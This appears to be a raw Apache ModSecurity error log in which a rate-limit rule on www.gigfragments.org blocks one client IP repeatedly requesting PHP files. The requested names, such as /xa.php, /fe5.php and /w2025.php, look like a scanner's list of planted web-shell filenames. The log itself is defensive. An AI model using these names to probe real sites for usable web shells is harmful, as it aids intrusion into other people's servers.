[Thu Apr 23 16:16:55.876897 2026] [:error] [pid 42971:tid 42997] [client 20.216.153.175:6052] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ass.php"] [unique_id "aenVdzEP2_5RswrH8bELSgAAAAs"]
[Thu Apr 23 16:16:56.075090 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:34695] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aenVeMOAb-3sOknsk4fK2gAAAEc"]
[Thu Apr 23 16:16:56.721082 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:12288] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aenVeMOAb-3sOknsk4fK3AAAAFU"]
[Thu Apr 23 16:16:57.328804 2026] [:error] [pid 42972:tid 43018] [client 20.216.153.175:37307] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aenVecOAb-3sOknsk4fK4QAAAEI"]
[Thu Apr 23 16:16:57.793304 2026] [:error] [pid 42972:tid 43035] [client 20.216.153.175:34708] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aenVecOAb-3sOknsk4fK5QAAAFM"]
[Thu Apr 23 16:16:58.392668 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:34700] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aenVesOAb-3sOknsk4fK6AAAAFI"]
[Thu Apr 23 16:16:59.093690 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:57941] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aenVe8OAb-3sOknsk4fK7AAAAFc"]
[Thu Apr 23 16:16:59.331247 2026] [:error] [pid 59700:tid 59724] [client 20.216.153.175:38398] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aenVe5XyGZJFeAIDWtnowQAAAVY"]
[Thu Apr 23 16:17:00.549544 2026] [:error] [pid 64998:tid 65009] [client 20.216.153.175:18427] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aenVfIV5EysYcTLjmwjruwAAAcc"]
[Thu Apr 23 16:17:00.794136 2026] [:error] [pid 64998:tid 65004] [client 20.216.153.175:12344] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aenVfIV5EysYcTLjmwjrvQAAAcI"]
[Thu Apr 23 16:17:01.632902 2026] [:error] [pid 42972:tid 43018] [client 20.216.153.175:34718] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aenVfcOAb-3sOknsk4fK9gAAAEI"]
[Thu Apr 23 16:17:01.906063 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:36896] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no18.php"] [unique_id "aenVfcOAb-3sOknsk4fK-AAAAEg"]
[Thu Apr 23 16:17:02.683943 2026] [:error] [pid 42973:tid 43046] [client 20.216.153.175:5974] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aenVfm6I0QqmmmLTHE3F9gAAAIM"]
[Thu Apr 23 16:17:02.866770 2026] [:error] [pid 64998:tid 65025] [client 20.216.153.175:41809] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no18.php"] [unique_id "aenVfoV5EysYcTLjmwjrwAAAAdc"]
[Thu Apr 23 16:17:03.484414 2026] [:error] [pid 42972:tid 43016] [client 20.216.153.175:42868] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin.php"] [unique_id "aenVf8OAb-3sOknsk4fK_gAAAEA"]
[Thu Apr 23 16:17:03.638664 2026] [:error] [pid 42973:tid 43060] [client 20.216.153.175:33917] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no18.php"] [unique_id "aenVf26I0QqmmmLTHE3F9wAAAJE"]
[Thu Apr 23 16:17:04.411946 2026] [:error] [pid 42972:tid 43032] [client 20.216.153.175:39390] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin.php"] [unique_id "aenVgMOAb-3sOknsk4fK_wAAAFA"]
[Thu Apr 23 16:17:04.558419 2026] [:error] [pid 42972:tid 43017] [client 20.216.153.175:33028] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no18.php"] [unique_id "aenVgMOAb-3sOknsk4fLAAAAAEE"]
[Thu Apr 23 16:17:05.169999 2026] [:error] [pid 59700:tid 59716] [client 20.216.153.175:33074] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin.php"] [unique_id "aenVgZXyGZJFeAIDWtnoyQAAAU4"]
[Thu Apr 23 16:17:05.243615 2026] [:error] [pid 64967:tid 64974] [client 20.216.153.175:30296] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fine.php"] [unique_id "aenVgYAV4GfOOdX8QzpYLQAAAYU"]
[Thu Apr 23 16:17:06.255452 2026] [:error] [pid 42973:tid 43056] [client 20.216.153.175:23530] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin.php"] [unique_id "aenVgm6I0QqmmmLTHE3F-gAAAI0"]
[Thu Apr 23 16:17:06.276524 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:33042] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fine.php"] [unique_id "aenVgm6I0QqmmmLTHE3F-wAAAJI"]
[Thu Apr 23 16:17:07.273411 2026] [:error] [pid 65000:tid 65054] [client 20.216.153.175:39408] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inege.php"] [unique_id "aenVg76vRb9j6psK2Za9xwAAAhU"]
[Thu Apr 23 16:17:07.679586 2026] [:error] [pid 42972:tid 43040] [client 20.216.153.175:36240] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fine.php"] [unique_id "aenVg8OAb-3sOknsk4fLEgAAAFg"]
[Thu Apr 23 16:17:07.971175 2026] [:error] [pid 64998:tid 65018] [client 20.216.153.175:28346] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inege.php"] [unique_id "aenVg4V5EysYcTLjmwjr2gAAAdA"]
[Thu Apr 23 16:17:08.464072 2026] [:error] [pid 42972:tid 43038] [client 20.216.153.175:51810] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fine.php"] [unique_id "aenVhMOAb-3sOknsk4fLFwAAAFY"]
[Thu Apr 23 16:17:08.942449 2026] [:error] [pid 64998:tid 65025] [client 20.216.153.175:18765] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inege.php"] [unique_id "aenVhIV5EysYcTLjmwjr3gAAAdc"]
[Thu Apr 23 16:17:09.540422 2026] [:error] [pid 65000:tid 65051] [client 20.216.153.175:24340] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aenVhb6vRb9j6psK2Za9yQAAAhI"]
[Thu Apr 23 16:17:09.615320 2026] [:error] [pid 64998:tid 65015] [client 20.216.153.175:22037] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inege.php"] [unique_id "aenVhYV5EysYcTLjmwjr4AAAAc0"]
[Thu Apr 23 16:17:10.271577 2026] [:error] [pid 64967:tid 64990] [client 20.216.153.175:15062] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aenVhoAV4GfOOdX8QzpYMgAAAZU"]
[Thu Apr 23 16:17:10.644399 2026] [:error] [pid 42971:tid 42995] [client 20.216.153.175:24300] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aenVhjEP2_5RswrH8bELUAAAAAk"]
[Thu Apr 23 16:17:11.005973 2026] [:error] [pid 43083:tid 43086] [client 20.216.153.175:22842] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aenVhzC5hrvNXosL83JSeQAAAME"]
[Thu Apr 23 16:17:11.579079 2026] [:error] [pid 64967:tid 64982] [client 20.216.153.175:21328] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aenVh4AV4GfOOdX8QzpYMwAAAY0"]
[Thu Apr 23 16:17:11.984069 2026] [:error] [pid 59700:tid 59705] [client 20.216.153.175:5260] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aenVh5XyGZJFeAIDWtno1AAAAUM"]
[Thu Apr 23 16:17:12.890531 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:15071] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aenViMOAb-3sOknsk4fLGwAAAEs"]
[Thu Apr 23 16:17:13.516738 2026] [:error] [pid 64967:tid 64988] [client 20.216.153.175:5248] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aenViYAV4GfOOdX8QzpYNgAAAZM"]
[Thu Apr 23 16:17:13.781684 2026] [:error] [pid 42972:tid 43038] [client 20.216.153.175:60514] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aenVicOAb-3sOknsk4fLHgAAAFY"]
[Thu Apr 23 16:17:14.711837 2026] [:error] [pid 42972:tid 43029] [client 20.216.153.175:22822] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aenVisOAb-3sOknsk4fLIAAAAE0"]
[Thu Apr 23 16:17:14.998659 2026] [:error] [pid 42973:tid 43043] [client 20.216.153.175:5648] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/uuu.php"] [unique_id "aenVim6I0QqmmmLTHE3GDgAAAIA"]
[Thu Apr 23 16:17:15.808278 2026] [:error] [pid 65000:tid 65041] [client 20.216.153.175:17373] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aenVi76vRb9j6psK2Za9ywAAAgg"]
[Thu Apr 23 16:17:16.321157 2026] [:error] [pid 59700:tid 59709] [client 20.216.153.175:5936] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/uuu.php"] [unique_id "aenVjJXyGZJFeAIDWtno2gAAAUc"]
[Thu Apr 23 16:17:17.367126 2026] [:error] [pid 42973:tid 43059] [client 20.216.153.175:5913] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/uuu.php"] [unique_id "aenVjW6I0QqmmmLTHE3GFAAAAJA"]
[Thu Apr 23 16:17:18.353352 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:57988] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/uuu.php"] [unique_id "aenVjsOAb-3sOknsk4fLLAAAAFI"]
[Thu Apr 23 16:17:18.603374 2026] [:error] [pid 42972:tid 43016] [client 20.216.153.175:11446] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aenVjsOAb-3sOknsk4fLLQAAAEA"]
[Thu Apr 23 16:17:19.957007 2026] [:error] [pid 64967:tid 64991] [client 20.216.153.175:20802] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no1.php"] [unique_id "aenVj4AV4GfOOdX8QzpYOAAAAZY"]
[Thu Apr 23 16:17:20.770716 2026] [:error] [pid 42972:tid 43017] [client 20.216.153.175:17373] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no1.php"] [unique_id "aenVkMOAb-3sOknsk4fLNwAAAEE"]
[Thu Apr 23 16:17:21.694049 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:20860] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no1.php"] [unique_id "aenVkcOAb-3sOknsk4fLPAAAAEs"]
[Thu Apr 23 16:17:22.589543 2026] [:error] [pid 65000:tid 65050] [client 20.216.153.175:17867] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no1.php"] [unique_id "aenVkr6vRb9j6psK2Za9zQAAAhE"]
[Thu Apr 23 16:17:23.428557 2026] [:error] [pid 64998:tid 65025] [client 20.216.153.175:5146] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/w2025.php"] [unique_id "aenVk4V5EysYcTLjmwjr5wAAAdc"]
[Thu Apr 23 16:17:24.566302 2026] [:error] [pid 42973:tid 43045] [client 20.216.153.175:5149] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/w2025.php"] [unique_id "aenVlG6I0QqmmmLTHE3GHAAAAII"]
[Thu Apr 23 16:17:25.419166 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:21314] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/w2025.php"] [unique_id "aenVlcOAb-3sOknsk4fLSAAAAEs"]
[Thu Apr 23 16:17:26.280564 2026] [:error] [pid 42972:tid 43019] [client 20.216.153.175:5252] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/w2025.php"] [unique_id "aenVlsOAb-3sOknsk4fLTQAAAEM"]
[Thu Apr 23 16:17:26.910737 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:5659] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fvvff.php"] [unique_id "aenVlsOAb-3sOknsk4fLUQAAAEs"]
[Thu Apr 23 16:17:27.656055 2026] [:error] [pid 42972:tid 43035] [client 20.216.153.175:21260] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fvvff.php"] [unique_id "aenVl8OAb-3sOknsk4fLUwAAAFM"]
[Thu Apr 23 16:17:28.793787 2026] [:error] [pid 65000:tid 65052] [client 20.216.153.175:21254] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fvvff.php"] [unique_id "aenVmL6vRb9j6psK2Za90AAAAhM"]
[Thu Apr 23 16:17:30.044986 2026] [:error] [pid 64998:tid 65017] [client 20.216.153.175:17395] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fvvff.php"] [unique_id "aenVmoV5EysYcTLjmwjr7AAAAc8"]
